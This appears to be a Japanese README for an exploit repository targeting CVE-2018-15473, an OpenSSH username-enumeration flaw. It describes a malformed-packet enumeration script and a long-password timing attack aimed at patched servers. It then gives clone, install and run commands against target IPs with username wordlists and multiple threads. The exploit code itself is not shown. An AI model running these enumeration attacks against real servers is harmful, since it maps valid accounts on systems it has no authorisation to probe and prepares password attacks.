
OpenSSH 7.7 以前では、リモートの攻撃者が不正な認証リクエストを送信し、サーバーの応答の差異を観察することで、有効なユーザー名を列挙できます。
| フィールド | 値 |
|---|---|
| 影響を受けるソフトウェア | OpenSSH 2.3 から 7.7 |
| CVSS v3.1 | 5.3 (中) |
| 攻撃ベクトル | ネットワーク(リモート、認証不要) |
| 根本原因 | サーバーが完全なパケットを解析するまで無効なユーザーのベイルアウトを遅延させない(auth2-gss.c、auth2-hostbased.c、auth2-pubkey.c) |
| 影響 | 情報漏えい — 有効なユーザー名の列挙 |
exploit.py — 不正なパケット(高速、マルチスレッド)ブールフィールドを削除した不完全な SSH_MSG_USERAUTH_REQUEST を送信します。無効なユーザーは早期ベイルアウト(USERAUTH_FAILURE)を引き起こし、有効なユーザーはサーバーが切断します。
exploit_timing.py — タイミング攻撃(低速、パッチ適用済みサーバーで有効)パスワード認証を介して非常に長いパスワード(約100KB)を送信します。有効なユーザーの場合、サーバーが拒否する前にパスワードをハッシュ化するため時間がかかりますが、無効なユーザーは即座に拒否されます。逐次実行され、しきい値を自動調整します。
exploit.py が誤検知(パッチ適用済みサーバー)を返す場合はこちらを使用してください。
git clone <this-repo-url>
cd cve-2018-15473
pip install -r requirements.txt
# Malformed packet (try this first)
python3 exploit.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit.py <target_ip> 22 <lhost> <lport> -w usernames.txt -t 8
# Timing attack (fallback for patched servers)
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -u root
python3 exploit_timing.py <target_ip> 22 <lhost> <lport> -w usernames.txt
| 引数 | 説明 |
|---|
target_ip | ターゲットSSHサーバーのIP |
target_port | ターゲットSSHポート(通常22) |
lhost | 攻撃者IP(未使用、テンプレートの一貫性のために保持) |
lport | 攻撃者ポート(未使用、テンプレートの一貫性のために保持) |
-u, --username | テストする単一のユーザー名 |
-w, --wordlist | ワードリストファイルへのパス(1行に1ユーザー名) |
-t, --threads | スレッド数(デフォルト: 4、exploit.py のみ) |